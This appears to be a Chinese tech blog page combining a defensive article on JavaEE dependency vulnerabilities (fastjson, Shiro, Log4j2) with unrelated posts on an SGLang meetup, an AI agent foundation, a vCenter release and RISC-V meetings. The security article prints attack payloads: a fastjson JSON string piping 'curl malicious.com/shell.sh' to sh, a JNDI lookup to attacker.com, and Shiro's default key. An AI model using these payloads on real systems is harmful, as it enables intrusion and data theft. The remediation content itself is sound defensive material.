xiaohack博客专注前沿科技动态与实用技术干货分享，涵盖 AI 代理、大模型应用、编程工具、文档解析、SEO 实战、自动化部署等内容，提供开源项目教程、科技资讯日报、工具使用指南，助力开发者、AI 爱好者获取前沿技术与实战经验。
在当今的 JavaEE 开发中，第三方依赖库已经成为项目不可或缺的组成部分。据统计，现代 Java 项目中超过 90% 的代码来自于开源依赖库。然而，这种便利性也带来了严峻的安全挑战。近年来，fastjson、Shiro、Log4j 等知名组件的重大漏洞频发，给全球企业带来了巨大损失。本文将深入分析这些安全风险，并通过实际案例说明其危害及防范措施。
第三方依赖的安全风险主要来源于以下几个方面：
i.代码本身的缺陷和漏洞
ii.依赖传递带来的未知风险
iii.版本更新不及时
iv.配置使用不当
一个典型的第三方依赖漏洞从被发现到被利用，往往只需要很短的时间。攻击者会迅速将漏洞武器化，进行大范围扫描和攻击。
漏洞背景
fastjson 是阿里巴巴开源的 Java JSON 处理库，在国内使用极为广泛。2017 年至 2022 年期间，fastjson 曝出多个严重反序列化漏洞（包括 1.2.24、1.2.47、1.2.80 等版本）。
漏洞原理
fastjson 在处理 JSON 字符串时，支持使用@type 指定类名进行反序列化。当开启 autoType 功能后，攻击者可以指定恶意构造的类，触发 JNDI 注入或反序列化 Gadget，最终实现远程代码执行。
实际案例
事件描述：2022 年，某互联网金融平台遭受攻击，攻击者利用 fastjson 1.2.80 版本的反序列化漏洞，绕过了默认的 autoType 限制，成功执行了恶意代码。
攻击过程：
i.攻击者扫描发现目标系统使用了 fastjson
ii.构造恶意 JSON 数据：
{"@type":"java.lang.Exception","@type":"com.example.RCE","cmd":"curl malicious.com/shell.sh|sh"}
iii.通过 API 接口发送恶意请求
iv.fastjson 在处理时实例化了攻击者指定的类，执行了系统命令
v.攻击者获取了服务器控制权，植入挖矿程序
危害程度：
i.服务器被植入挖矿程序，CPU 使用率飙升至 95%
ii.客户数据面临泄露风险
iii.业务中断 3 小时，直接经济损失超过 200 万元
修复方案
<!-- 升级到安全版本 --> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.83</version> </dependency>
同时建议配置 safeMode：
ParserConfig.getGlobalInstance().setSafeMode(true);
漏洞背景
Apache Shiro 是 Java 领域广泛使用的安全框架，提供认证、授权等功能。其著名的漏洞包括 Shiro-550（反序列化）和 Shiro-721（Padding Oracle 攻击）。
漏洞原理
Shiro-550（CVE-2016-4437）：Shiro 默认使用 CookieRememberMeManager，将用户信息序列化后 AES 加密并编码。当密钥泄露或使用默认密钥时，攻击者可以构造恶意反序列化对象，触发 RCE。
实际案例
事件描述：2019 年，某大型电商平台在安全审计中发现，其后台管理系统存在 Shiro 反序列化漏洞。攻击者已经利用该漏洞获取了部分服务器的权限。
攻击过程：
i.攻击者通过分析，发现系统使用 Shiro 且rememberMe功能开启
ii.通过公开信息得知系统使用了 Shiro 默认密钥 kPH+bIxk5D2deZiIxcaaaA==
iii.使用 ysoserial 工具生成CommonsCollections2的 Gadget
iv.构造恶意Cookie：rememberMe=恶意序列化数据
v.发送请求后，成功在目标服务器执行命令
vi.创建后门用户，长期维持访问权限
危害程度：
i.多台服务器被植入后门
ii.管理员账号被创建
iii.订单数据被导出约 50 万条
iv.平台声誉受损，用户信任度下降
修复方案
// 1. 升级 Shiro 到 1.7.1 以上版本 // 2. 修改默认密钥 @Bean public RememberMeManager rememberMeManager() { JcaCipherService cipherService = new AesCipherService(); cipherService.setKeySize(256); byte[] cipherKey = Base64.getDecoder().decode("自定义 Base64 编码的密钥"); RememberMeManager manager = new CookieRememberMeManager(); manager.setCipherService(cipherService); manager.setCipherKey(cipherKey); return manager; } // 3. 建议禁用 rememberMe 功能 // 4. 添加 WAF 规则拦截恶意序列化数据
漏洞背景
Log4j2 是 Java 生态最流行的日志框架。2021 年底爆出的 Log4Shell 漏洞（CVE-2021-44228）被称为"核弹级"漏洞，影响全球数百万应用。
漏洞原理
Log4j2 支持JNDI Lookup功能，当日志中包含${jndi:ldap://malicious.com/Exploit}这样的字符串时，Log4j2 会去请求指定的 JNDI 服务，并加载远程代码执行。
实际案例
事件描述：2021 年 12 月 9 日，Log4j2 漏洞公开后不到 24 小时，某知名云服务商就遭到大规模攻击。攻击者利用该漏洞在内网横向移动，最终导致多个重要业务系统瘫痪。
攻击过程：
i.漏洞公开后 2 小时，攻击者开始全网扫描
ii.发现目标系统存在 Log4j2 漏洞版本（2.14.1）
iii.在 HTTP 请求的 User-Agent 中注入恶意 payload：${jndi:ldap://attacker.com:1389/Basic/Command/Base64/d2dld...}
iv.目标服务器日志记录该请求，触发 JNDI 查询
v.攻击者的 LDAP 服务器返回包含恶意 class 的引用
vi.目标服务器下载并执行恶意 class，下载勒索病毒
vii.病毒在内网传播，加密大量服务器数据
危害程度：
i.超过 500 台服务器被加密
ii.核心数据库被锁，业务全面瘫痪
iii.赎金要求：200 比特币（当时约 8000 万人民币）
iv.恢复时间：2 周
v.总损失：超过 2 亿元
修复方案
紧急处置：
# JVM 参数禁用 JNDI -Dlog4j2.formatMsgNoLookups=true # 或者删除 JNDI 类 zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
长期修复：
<!-- 升级到 2.17.0 以上版本 --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.20.0</version> </dependency>
Spring Framework RCE (Spring4Shell)
漏洞编号：CVE-2022-22965
影响版本：Spring Framework 5.3.0-5.3.17, 5.2.0-5.2.19
危害：通过数据绑定导致 RCE
案例：某银行系统被入侵，导致客户信息泄露
Apache Struts2 漏洞
典型案例：S2-045（CVE-2017-5638）
影响：通过 Content-Type 头实现 RCE
案例：2017 年 Equifax 数据泄露，1.43 亿用户信息被盗
1.依赖版本管理
<!-- 使用 parent 或 dependencyManagement 统一管理版本 --> <dependencyManagement> <dependencies> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-bom</artifactId> <version>2.20.0</version> <type>pom</type> <scope>import</scope> </dependency> </dependencies> </dependencyManagement>
2.引入依赖安全检查
# 使用 OWASP Dependency-Check dependency-check.sh --project "My Project" --scan ./target # Maven 插件配置 <plugin> <groupId>org.owasp</groupId> <artifactId>dependency-check-maven</artifactId> <version>8.0.2</version> <executions> <execution> <goals> <goal>check</goal> </goals> </execution> </executions> </plugin>
1.DAST/SAST 扫描
使用 SonarQube 进行静态代码分析
部署 Web 应用防火墙进行漏洞测试
定期进行渗透测试
2.自动化安全测试
# GitHub Actions 示例 name: Security Scan on: [push] jobs: security: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - name: OWASP Dependency Check uses: dependency-check/Dependency-Check_Action@main with: project: 'My Project' path: '.' format: 'HTML' - name: Upload results uses: actions/upload-artifact@v2 with: name: dependency-check-report path: ${{github.workspace}}/reports
1.持续监控
部署 RASP（运行时应用自我保护）
配置 WAF 规则拦截攻击 payload
建立漏洞预警机制
2.应急响应预案
// 示例：动态禁用有漏洞的功能 @Component public class VulnerabilityEmergencySwitch { @Value("${security.disable.log4j.lookup:false}") private boolean disableLookup; @PostConstruct public void init() { if (disableLookup) { System.setProperty("log4j2.formatMsgNoLookups", "true"); } } }``` 4.4 供应链安全管理 1.建立可信源 使用私有 Maven 仓库 对引入的依赖进行审核 定期同步漏洞库 2.SBOM（软件物料清单）管理 ```json { "bomFormat": "CycloneDX", "specVersion": "1.4", "version": 1, "components": [ { "name": "log4j-core", "version": "2.17.1", "purl": "pkg:maven/org.apache.logging.log4j/[email protected]", "type": "library" } ] }
第三方依赖安全已经成为 JavaEE 开发中不可忽视的重要课题。从 fastjson、Shiro 到 Log4j2 的案例可以看出，单个漏洞就可能造成毁灭性的后果。
面对日益严峻的供应链安全形势，开发团队需要建立全生命周期的依赖安全管理体系：
预防为主：引入时就要考虑安全性
持续监控：及时发现新曝光的漏洞
快速响应：建立应急响应机制
纵深防御：多层次的防护措施
同时，建议企业关注以下趋势：
软件供应链安全法规的完善
可信计算的推广
安全左移（DevSecOps）的普及
AI 辅助安全分析的应用
只有将安全融入到开发和运维的每个环节，才能在享受开源红利的同时，有效防范第三方依赖带来的安全风险。
KEY 随意，速度挺快的，可以用来沉浸式翻译
fofa 扫出来的
尽量正规的渠道。
1 月 31 日，由 SGLang、阿里云、龙蜥社区主办的智算技术沙龙在北京成功举办，线上观看人次 18 万+。本次活动汇聚了阿里云、趋境科技、算秩未来、摩尔线程、沐曦股份、中兴通讯、浪潮信息，以及清华大学、香港科技大学等企业和高校的多位行业顶尖专家，深度解析了 KVCache 优化、PD/EPD/RL 分离式部署、5D 并行策略等核心技术突破，系统呈现国产 GPU 算力适配方案；通过 SGLang/Mooncake 团队的前沿技术分享、龙蜥社区智算联盟厂商的圆桌对话，与现场超 100 位参会嘉宾一起为大模型效能提升与自主算力平台落地提供创新思路。 会议伊始，龙蜥社区技术委员会主席杨勇做开场致辞。他强调了 AI 推理技术、AI 芯片优化以及 SGlang 社区正处于一个快速发展且充满机遇的阶段，并特别提到龙蜥社区智算联盟的成立，有力推动了操作系统与推理框架的生态建设。同时指出社区对训推一体化框架的投入显著增加，并积极贡献于开源项目。杨勇表示，实现最低 token 成本是一个贯穿整个技术链路的复杂课题，不仅关乎推理框架，还涉及算子库、并行库和操作系统等多个层面。为此，未来将重点围绕三大方向持续发力：一是提升生态对接中的部署效率，二是增强系统稳定性，三是深化性能分析与优化工作。 SGLang 作为开源高性能 LLM/VLM 推理引擎，长期对 DeepSeek、Qwen、Kimi 等开源模型进行 day-0support，推进推理系统的架构技术进步，已被国内外众多顶级企业采用为生产环境推理部署引擎，全球范围内为超过 30 万块 GPU 提供支持。SGLang 社区核心开发者蔡尚铭分享了《SGLang 社区技术进化里程碑与未来路线规划》，他重点介绍了 SGLang 在 2025 年实现的重要技术演进：PD 分离大规模部署、KVCache 分层缓存、强化学习集成、面向投机解码的训练框架、面向超长上下文的分块流水线并行加速、Encoder-Prefill-Decode 分离等。同时，蔡尚铭也分享了 SGLang 下一季度的路线规划。 Mooncake 是以 KVCache 为中心、面向解耦场景设计的分布式大模型推理架构，通过零拷贝传输、多网卡池化与链路优化、弹性扩展与高效内存利用等技术，助力 SGLang 高效实现了 PD 分离、EPD 分离、分布式 KVCache 共享、弹性大 EP、快速权重加载等能力，显著提升了推理性能。KTransformers 是 CPU/GPU 混合的大模型异构推理框架，基于 AVX/AMX 指令集，实现了 NVFP4、FP8、BF16 等原生精度 MoE kernel，支持了高效的原生精度推理。趋境科技技术专家、Mooncake 核心贡献者杨珂联合清华大学在读研究生、KTransformers 核心开发者区庆亮分享了《共建大模型推理生态：Mooncake、KTransformers 与 SGLang》主题演讲。两位技术专家就 Mooncake 和 KTransformers 的架构设计、关键技术特性、最新进展，以及与 SGLang 的集成实践和应用效果做了详细介绍。 Arks 是一个端到端的 Kubernetes 原生大语言模型应用管理框架，为云原生环境中的 LLM 推理工作负载提供健壮可扩展的基础设施，Arks 底层使用 rbg 作为 workload 部署管理框架，让开发者专注于推理本身而无需关注底层细节。算秩未来推理高级专家王子昂分享了《Arks 快速部署推理服务&SIMM 高性能 kv 缓存》。王子昂介绍，SiMM 是一款高性能分布式 KV 存储系统，兼具内存级访问速度与云盘级存储容量。它通过分布式架构实现高可用与高扩展，支持海量数据的低延迟读写，适用于缓存、状态存储与大规模在线服务等场景。同时，SiMM 提供开箱即用的部署与运维体验，无需复杂配置即可快速上线，帮助开发者在性能、成本与易用性之间取得最佳平衡。 香港科技大学博士生、阿里巴巴 ROLL 团队学术实习生赵予珩带来了《ROLL：面向大规模 AgenticRL 的异步解耦与异构算力调度实践》主题分享。赵予珩介绍了阿里巴巴自研强化学习框架 ROLL 及其针对 AgenticRL 异构负载的深度优化方案，并重点解读了如何通过异构硬件亲和性调度、细粒度异步编排以及状态感知的按需弹性部署，攻克大规模场景下的通信与计算瓶颈。此外，赵予珩与现场嘉宾们共同探讨了 ROLL 与 Mooncake 存算分离架构结合的未来演进，进一步释放大规模 RL 后训练的潜力。目前，ROLL 已在三千卡集群、千亿参数 MoE 模型上实现了生产级的极致吞吐。 近期，强化学习的任务形态正从以 reasoningtask 为主，逐步演进为更复杂的 Agentictask。这类任务引入了 agentframework，更加复杂的数据生成流程与稳定性挑战，对 RL 训练框架提出了全新要求。清华大学博士生、Slime 强化学习训练框架的核心开发者谢承兴在会上分享了《一个高效可扩展的 Agentic RL 框架》。他聚焦 slime 框架，系统介绍了其针对 AgenticRL 场景所做的一系列关键优化设计，包括灵活的 rollout 机制、解耦的 agent 接入方式、高效的并行与同步策略等，全面展示 slime 如何显著提升 AgenticRL 训练的 scalability。 EPD 在图像密集型请求（如单次 4–8 张图）下的部署与优化实践，在 1 QPS 负载下相较非分离部署可将延迟降低约 6–8 倍，并在高 QPS 下实现约 2 倍吞吐提升。SGLang 贡献者刘斯宇和龙蜥社区跟踪诊断 SIG 维护者、SGLang 贡献者陆扬分享了《从 EPD 到 SGLang-Omni：图像密集场景推理加速实践与下一代全模态推理架构演进》。刘斯宇解析了 EPD 解耦架构如何支持组件灵活扩展与异构部署，以更高性价比避免 Prefill 节点成倍扩容。陆扬聚焦 SGLang 面向 Omni 多模态模型的系统演进，分享了如何从现有 LLM 推理架构扩展到同时支持文本、图像、音频、视频等多模态输入输出，并与现场嘉宾共同讨论了 Processor 拆分、数据流与调度设计、多阶段推理协同等关键问题与社区实践方向。 近期，SGLang 强化学习团队在提升强化学习（RL）训练稳定性、并缩小训练与推理误差方面取得了显著进展。SGLang 贡献者、阿里巴巴集团通义千问（Qwen）团队成员林骏荣做了题为《使用 SGLang 进行高效稳定的强化学习》的主题演讲。林骏荣带我们回顾了这些进展，并讨论了其背后的关键动机和解决方案。 阿里云智能集团技术专家、阿里云 Tair KVCache Manager 负责人王悉宇分享了《Agent 时代下的全局 KVCache 管理架构演进》。聚焦 Agent 场景下 KVCache 的存储需求，王悉宇重点梳理了Agent 带来的多种新挑战和 KVCache 全局管理架构为应对挑战所做的演进，最后介绍了阿里云已经开源的企业级全局 KVCache 管理系统—-TairKVCacheManager。该系统已实现对 Mooncake 的原生支持，为 Agent 时代的大模型推理提供稳定高效的 KVCache 存储支持。 此外，会上也举办了以“智算新生态：异构 AI 算力底座如何驱动大模型全场景落地？”为主题的圆桌讨论，围绕大模型推理中的核心挑战——KV Cache 管理、异构算力调度、软硬件协同与超节点架构——展开深入探讨。本次圆桌由 Mooncake 核心贡献者马腾主持，邀请了龙蜥社区智算联盟主席宋卓、摩尔线程副总裁王华、沐曦股份研究院院长李兆石、中兴通讯 Al Infra 资深架构师孙洪峰、浪潮信息系统软件研发经理 Andy Cao、中国科学技术大学特任副研究员白有辉 6 位技术专家，与现场嘉宾讨论涵盖国产 GPU 在量化与存储访问上的创新潜力、CXL 与 RDMA 网络在跨节点 KV 传输的应用、稀疏 Attention 算法的工业落地路径，以及超节点环境下分层存储体系的演进趋势，共同展望中国 AI Infra 生态的未来发展。更多圆桌详情内容可点击阅读：产学研共话 AI Infra：龙蜥智算联盟探索大模型全场景落地新路径 最后，感谢各位嘉宾的精彩分享，也感谢马腾、蔡佳丽、金美琴、倪俊雄、袁艳桃、Mingyi Lu、Lingyan Hao、Liangsheng Yin、杨柯、屈鑫、郑环环等人对本场活动的组织和支持。 本次 MeetUp 回顾视频及 PPT 已上传至龙蜥官网，欢迎点击查看：
（图/杨勇）
（图/蔡尚铭）
（图/由左至右：杨珂、区庆亮）
（图/王子昂）
（图/赵予珩）
（图/谢承兴）
（图/由左至右：刘斯宇、陆扬）
（图/林骏荣）
（图/王悉宇）
（图/圆桌讨论）
PPT 下载链接：https://docs.openanolis.cn/document/detail/rpzigrnb
本次直播回放链接：https://openanolis.cn/video/#1553233785695527131
1 月 30 日，在天工开物开源基金会、开放智算产业联盟（COIA）、中国开源软件推进联盟（COPU）、Linux 基金会亚太区指导下，由龙蜥社区、百度、中国信通院、电子四院、中国数联、华中科技大学、Intel、英飞流、沐曦股份、北京大学、Red Hat、腾讯、中兴通讯等社区、高校和企事业单位，联合发起的开放代理式人工智能基金会（The Open Agentic AI Foundation，OAAIF）正式成立，以应对智能体（AI Agent）快速发展中的结构性挑战。 当前，人工智能正经历范式跃迁，从对话工具与内容生成系统演进为能够理解目标、规划任务、调用工具并执行复杂任务的智能体，标志着 AI 从“生成信息”迈向“参与行动”，深度融入业务流程、企业软件与协作网络，成为新型软件形态与系统架构。然而，智能体生态面临接口协议碎片化抬高集成成本、标准主导权集中引发生态锁定风险、自主执行带来的安全与合规挑战复杂等系统性问题，亟需从基础设施与治理层面协同应对。 在此背景下，开源与开放协作成为智能体基础设施的必然选择，开放代理式人工智能基金会（OAAIF）也应运而生。OAAIF 致力于面向智能体基础设施领域，推动以开源为核心的开放协作，促进智能体技术的互操作、规模化与高质量落地。OAAIF 将以中立、开放的方式，汇聚来自产业、学术界和开源社区的多方力量，围绕智能体相关的软件、协议与工程实践，构建面向未来的协作平台。 面向人工智能技术浪潮带来的机遇与挑战，龙蜥社区始终秉承“平等、开放、协作、创新”原则，系统布局智能计算、一云多芯等九大技术方向，驱动操作系统从通用基础平台向 AI 时代智能算力引擎的战略跃升。2025 年，多家行业领军企业及机构共同发起成立了龙蜥智算联盟，聚焦开源大模型等 AI 技术落地过程中的兼容适配、系统稳定性、人才培养以及 AI 安全等问题，持续推动 AI 技术发展创新。此外，龙蜥社区也非常重视 AI 生态，联合超 1000 家合作伙伴持续深化 AI 生态建设与跨域协同。在第三届龙蜥大会上，发布了龙腾计划 3.0——AI 引擎生态加速合作计划，标志着龙蜥社区在推动操作系统与 AI 技术创新融合、以及利用 AI 驱动上下游产业合作变革方面迈出了重要的一步。 智能体时代刚刚开启，其基础设施和生态建设仍处于关键窗口期。龙蜥社区作为开放代理式人工智能基金会的一员，携手 OAAIF 中的合作伙伴，未来将通过其在操作系统、开源治理、产业协同等方面的深厚积累，为全球智能体技术及生态提供服务。诚挚欢迎来自产业界、学术界和开源社区的更多伙伴参与共建，共同探索开放、可信、可持续的智能体发展路径。 关于基金会更多信息，可点击查看：开放代理式人工智能基金会（OAAIF）正式成立 —— 完 ——
（图/2025龙蜥大会龙腾计划 3.0 发布现场）
VMware vCenter Server 8.0U3i 发布 - 集中管理 vSphere 环境 Server Management Software | vCenter 请访问原文链接：https://sysin.org/blog/vmware-vcenter-8-u3/ 查看最新版。原创作品，转载请保留出处。 作者主页：sysin.org 2026-02-24，vSphere 8.0U3i 发布，例行更新。 VMware vCenter Server 是一款高级服务器管理软件，提供了一个集中式平台来控制 vSphere 环境，以实现跨混合云的可见性。 什么是 vCenter Server？ 实现集中式可见性、简化且高效的大规模管理，以及在整个混合云中的可延展性，所有这一切，均可通过单一控制台来实现。VMware vCenter Server 是高级服务器管理软件，提供了一个集中式平台来控制您的 VMware vSphere 环境，使您可以充满信心地在整个混合云中自动部署并交付虚拟基础架构。 VMware vCenter Server 功能特性 易于部署 以预先打包、优化的且易于维护的虚拟设备形式快速部署 vCenter Server。将 vSphere Update Manager 集成到 vCenter Server Appliance 中可令修补和升级流程快速而轻松 (sysin)。利用 RESTful API，可以通过模板轻松地重复部署 vCenter Server Appliance，从而缩短部署时间并减少人为错误。 跨混合云的可延展性和可扩展性 无论您在运行哪个版本的 vCenter Server，均可无缝地将本地部署环境延展到基于 vSphere 的公有云（如 VMware Cloud on AWS）。更高效的大规模管理：可通过单一 vCenter Server 实例管理多达 2,000 台主机和 35,000 台虚拟机。 集中控制和可见性 从单一位置管理您的整个 vSphere 基础架构 (sysin)。基于 HTML 5 的 vSphere Client 使您可以从任何浏览器管理基本 vSphere 功能，提供比以往更高的响应能力和可用性。只需单击按钮，即可为用户分配自定义角色、搜索 vCenter Server 清单或置备新的虚拟机。 主动优化 利用我们的服务器管理软件分配并优化资源，以便最大限度地提高效率。跨 15 个 vCenter Server 实例管理多达 70,000 台虚拟机和 5,000 台主机。使用 vSphere HA 和 DRS 集群支持多达 64 台主机和 8,000 台虚拟机。在整个基础架构中复制角色、权限和许可证，以便您可以同时登录、查看和搜索所有 vCenter Server 的清单。可链接多个 vCenter Server Appliance 并提高可见性，且无需使用成本高昂的负载均衡器。 改善管理 使用功能强大的工具来简化管理并延展您的控制。使用 Web 服务 API 实现与现有系统管理产品的经济高效且灵活的集成。使用不同的 VMware vCenter Server 版本，同时允许执行跨 vCenter 的混合版本置备操作（如 vMotion、完整克隆和冷迁移）。 插件可延展性 来自 VMware 合作伙伴的 vSphere Client Plug-in 使 IT 管理员可以直接从 vCenter Server 管理他们数据中心内的第三方元素。我们的服务器管理软件具有行业内最大的合作伙伴生态系统，以及开源 vSphere Client Plug-in SDK。这使得 vCenter Server 客户可以直接通过 vCenter Server 执行备份、数据保护、服务器管理、网络管理和安全管理。 VMware 于 2016 年启动了 vSphere Client Plug-in 认证计划来确保为客户提供更好的终端用户体验。经认证的插件可提供最佳性能、更卓越的安全模式、针对故障的客户端隔离（在一个插件中提供），以及增强的 vCenter Server Appliance 可扩展性。客户将能够识别哪些 vSphere Client 插件经过认证，因为只有认证过的插件才会带有“VMware-ready”徽标。 经认证的 vSphere Web Client 插件： 原生元素 利用原生高可用性 (HA) 保护 vCenter Server Appliance 和相关服务，恢复时间目标只有不到 10 分钟时间。vSphere 具备原生主动-被动式高可用性能力，并通过了针对 vCenter Server Appliance 的认证。 将您的设备备份到一组文件中，同时 vCenter Server 仍旧使用原生备份和还原来启动并运行。通过将全新设备指向备份位置来进行还原，并且，文件将下载到新的 vCenter Server Appliance。无需借助第三方产品。 安排 vCenter Server Appliance 备份，并控制通过原生备份调度程序保留的备份数量。 VMware vCenter Server 8.0U3i 下载地址：https://sysin.org/blog/vmware-vcenter-8-u3/ 本站定制映像： 相关产品：简化且高效的服务器管理
功能特性
下载地址
File Name: VMware-VCSA-all-8.0.3-25197330.iso
File Size: 11.67 GB
File Name: VMware-vCenter-Server-Appliance-8.0.3.00800-25197330-patch-FP.iso
File Size: 7.76 GB
File Name: VMware-vCenter-Server-Appliance-8.0.3.00800-25197330-updaterepo.zip
File Size: 8.03 GB
一直以来，龙蜥社区在 RISC-V 生态建设中持续投入，并积极贡献上游社区。为加速 RISC-V 在数据中心场景的能力补齐与规模化落地，RISC-V International Data Center SIG 近期将例会节奏由月度调整为双周。以下为第六次会议内容： 近期，RISC-V 基金会 Data Center SIG 月度会议于线上召开，来自阿里云、中兴通讯、Rivos、RISC-V 国际基金会等企业的宋卓、王宝林、孙浩、郭任、贾云翔、Snehasish、Beeman、Rafael 等 13 位委员及代表参会。会议由宋卓先生主持，重点围绕“在 RISC-V 架构中引入持久化内存（Persistent Memory，PMem）相关支持”的方向展开讨论。 本次会议邀请阿里云王宝林以及阿里巴巴达摩院孙浩进行分享，王宝林长期负责 龙蜥社区内核内存子系统并参与上游维护，他从云计算实际工作负载出发，介绍了 PMem 的产业背景、数据中心应用价值以及 RISC-V 当前在相关指令/语义支持方面的缺口，并建议在社区层面推动形成面向 PMem 的标准化工作。 王宝林指出，PMem 具备字节寻址、高密度与直接持久化等特性。尽管 Intel 已宣布 Optane PMem 产品线停止，但 PMem 的研究与应用并未停止，产业界仍在持续投入。更重要的是，PMem 在云场景已经验证了价值：例如在云数据库/缓存系统（如 Redis）中，结合 PMem 可构建混合内存架构，在保持高吞吐的同时减少传统方案的周期性延迟抖动，并提升实例异常重启后的恢复效率。 他进一步强调，在数据中心落地 PMem 的关键不止在“介质可持久化”，还在于系统能否提供可靠的持久化语义保证：若缺乏明确的持久化点与配套机制，业务往往仍需依赖持久化云盘兜底，从而引入额外成本。 来自 Akeana 的 David Weaver 在讨论中表达了强烈支持。他提到自己曾在 Sun 与 Oracle 工作，数据库公司长期对 PMem 非常关注；他认为若 RISC-V 要严肃进入数据中心，PMem 相关能力必须补齐，“如果我们要认真做 RISC-V 数据中心生态，就需要把这件事做起来”。 作为 TSC（Technical Steering Committee）成员，David 也给出了清晰的推进路径建议： 他建议提案应明确三类核心工作：定义持久化模型（persistency model）、定义对 ISA 的影响/原语（例如 flush 到持久化点的指令语义），以及讨论持久化顺序与相关互连/协议协作等问题。 会上，来自社区的 Victor Lu 也提出了典型问题：RISC-V 以 ISA 为核心，本议题涉及较多系统特性，最终产出将如何与 ISA 对齐？ 主持人宋卓与 David 等回应称，若后续推动成立 TG，该方向最终将形成面向 RISC-V 的架构/ISA 扩展建议（例如“将指定地址数据 flush 到持久化点”的指令或原语），并在规范层面给出一致语义；至于底层硬件实现方式，可由各厂商在遵循规范的前提下选择具体实现路径。 会议后段，阿里巴巴达摩院孙浩补充表示：硬件实现应当基于清晰的 RISC-V 规范。目前 RISC-V 缺乏对应 spec，因此应优先推动形成规范文本与语义定义，硬件实现可在此基础上由不同实现方展开，并参考其他架构既有经验逐步细化。 为持续推动 RISC-V 在数据中心与服务器场景的可用性与可移植性，RISC-V International Data Center SIG 召开线上双周例会。本次会议由阿里巴巴宋卓主持，并邀请来自中兴通讯的贾云翔（Yunxiang Jia）从服务器视角系统梳理当前服务器相关规范中的潜在缺口与改进方向。来自 Rivos、字节跳动、阿里巴巴及 RISC-V International 的多位代表参与讨论并提出关键建议。 贾云翔介绍了服务器视角的“缺口清单”概要解读，主要覆盖以下几个方面： 在现有服务器规范/配置中，一些 ISA 层扩展并非强制，但在安全性、可维护性等方面具有价值，贾云翔建议在服务器平台规范中评估补充（发言中举例提到若干扩展方向）。 当前规范条目（发言中提及 SPM 030/040）偏重 PCIe inbound 事件定义；他认为 outbound PCIe 事件同样重要，应纳入规范。 另外，关于部分 CMO/缓存一致性相关事件 的标准化需求，他提到 Performance Events Task Group 可能已有相关工作，希望能与服务器规范衔接、视情况纳入。 他指出现有调试能力清单与 RISC-V Debug/Trace 相关规范版本之间存在差异，且有些能力（例如 program buffer 等）对开发调试很关键，希望服务器平台规范能更好覆盖。 他建议在服务器规范中提高对 trace 的要求，至少支持某类 trace 形态（发言中倾向 E-Trace），并希望补充更明确的技术要求描述。 他认为 watchdog 对系统故障恢复很重要，当前要求不足；同时提到可参考 Arm 相关规范中关于 clock/time 的写法与约束。 他提到部分复位、电源管理与 CSR 等能力在当前版本中存在缺失；此外也提到了 CXL 相关内容，希望后续能在服务器平台规范中补齐或明确。 Rivos 的 Vedvyas Shanbhogue 在讨论中提出了非常关键的规范取舍原则 服务器 SoC/平台规范以及 ISA Profiles 的核心目标，是保证 可移植操作系统/Hypervisor 在低于 M-mode 的特权级上运行的一致性能力； 因此，许多 Machine Mode 才可见、或偏 外部调试/外部 trace（对 OS 不可见）的能力，之所以未被纳入强制要求，并非遗漏，而是有意为之的设计选择； 这类似于 Arm SBSA 等规范并不强制某些更高特权级能力。未来如果社区定义“Machine Mode Profile”，再把这类能力纳入会更合理。 这一点也帮助 SIG 成员对“哪些能力应该进入服务器平台强制项、哪些应留给实现选择”形成更清晰的边界认识。贾云翔表示会进一步消化该原则，并重新评估条目归类方式。 围绕 Trace，Vedvyas 进一步追问了一个对未来版本非常关键的问题：如果未来要把“自托管（self-hosted）trace”纳入 server SoC/平台规范，就必须在 E-Trace 与 N-Trace 之间做出倾向，否则两者都“可选”会削弱对可移植软件的价值。 针对此问题，贾云翔从个人角度表达更倾向 E-Trace，并希望进一步完善其规格细节；Vedvyas 表示个人也赞同，但更希望 Data Center SIG 形成明确立场/建议，以便未来规则制定与版本演进。 字节跳动的崔云辉就 watchdog/timer 提问：既然已有 PMU counter，为何仍需要 watchdog 或独立 timer 硬件？ 贾云翔回应：watchdog/timer 更多面向固件/更高特权级（偏 machine mode）场景，用于系统故障恢复与可靠性保障；崔云辉确认理解其适用范围。同时，Vedvyas 也补充：服务器 SoC 规范对 time 已有明确要求（例如 1ns 分辨率、64-bit 等），可满足长期不回绕等目标。 CXL 部分引发了进一步讨论。字节跳动的何爽对 CXL 的必要性提出疑问：当前 CXL 是否仍偏研究探索，是否会真实落地？ 主持人宋卓回应：CXL 不仅面向 AI，也在数据库与云场景有用例与业务价值，应当成为 RISC-V 服务器能力考虑的一部分。阿里巴巴薛帅补充：在云存储中“扩展内存（expander memory）”是常见使用方式。 接着，Vedvyas 则从规范制定角度补充了两点洞察： CXL 规范整体“可选项较少”，并配套合规测试，相比 PCIe 的高可选性，往往难点在于“除了要求实现 CXL 规范本身，还需要额外规定什么”； 他们正在考虑提出更明确的版本约束：如果集成 CXL，建议至少从 CXL 2.0 起步，避免 CXL 1.0/1.1 在 Root Complex 上引入额外复杂性（例如 RCRB 等历史包袱）。他在会上征询与会者是否认可“2.0 或更高”的方向。贾云翔表示倾向认可，但是否在规范中写成明确约束仍需进一步评估。 此外，Vedvyas 也提到：PM、电源状态与唤醒、以及 CXL 集成等内容，正在 Server SoC2 Task Group 中推进；初版未纳入属阶段性取舍，欢迎把需求带到 SoC2 TG 进一步讨论。 会议最后，宋卓建议贾云翔将本次“缺口清单”与材料通过 Data Center SIG 邮件列表共享，以便与其它 SIG/TG（尤其是 Server SoC TG 等）开展联动协作。贾云翔确认将把文档发送至相关 TG，推动后续对齐与吸收。 随着服务器场景标准化进入深水区，Data Center SIG 也将围绕“可移植 OS 视角的强制项边界”“Trace 取舍建议”“CXL 版本门槛与集成规则”等议题继续形成更明确的社区共识，并通过与相关 TG 的协作推进到规范条文层面。 —— 完 ——RISC-V 架构中引入持久化内存缺口
PMem 在云数据中心的现实需求：以 Redis/数据库场景为例
社区关切：最终产出落在哪里？——ISA 扩展是核心方向
RISC-V 数据中心的潜在缺口与改进方向
服务器视角的“缺口清单”：希望补强的能力点有哪些？
Rivos：规范的“取舍原则”——服务器规范聚焦 OS 可移植性，不强制 Machine Mode/外部调试能力
Trace 讨论升温：E-Trace 还是 N-Trace？SIG 需要形成偏好以利于软件可移植性
Watchdog/Timer 的必要性答疑：与 PMU Counter 的角色不同
